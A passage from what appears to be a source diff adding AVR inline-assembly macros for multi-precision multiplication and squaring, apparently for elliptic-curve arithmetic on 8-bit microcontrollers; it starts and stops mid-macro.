\ + "mul r2, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r20, y+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r4, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r21, y+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r4, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r12, y+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r4, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r13, y+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r4, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r14, y+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r4, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r15, y+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r4, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r16, y+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r4, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r17, y+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r4, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r18, y+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r4, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r19, y+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r4, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r20, y+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r4, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r21, y+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r4, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r12, y+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r4, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r13, y+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r4, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r5, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r6, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r7, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r8, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r9, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r10, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r11, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r2, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "mul r3, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "st z+, r23 \n\t" \ + "st z+, r24 \n\t" \ + "eor r1, r1 \n\t" + +#define FAST_SQUARE_ASM_5 \ + "ld r2, x+ \n\t" \ + "ld r3, x+ \n\t" \ + "ld r4, x+ \n\t" \ + "ld r5, x+ \n\t" \ + "ld r6, x+ \n\t" \ + "ld r7, x+ \n\t" \ + "ld r8, x+ \n\t" \ + "ld r9, x+ \n\t" \ + "ld r10, x+ \n\t" \ + "ld r11, x+ \n\t" \ + "ld r12, x+ \n\t" \ + "ld r13, x+ \n\t" \ + "ld r14, x+ \n\t" \ + "ld r15, x+ \n\t" \ + "ld r16, x+ \n\t" \ + "ld r17, x+ \n\t" \ + "ld r18, x+ \n\t" \ + "ld r19, x+ \n\t" \ + "ld r20, x+ \n\t" \ + "ld r21, x+ \n\t" \ + "ldi r27, 0 \n\t" \ + \ + "ldi r23, 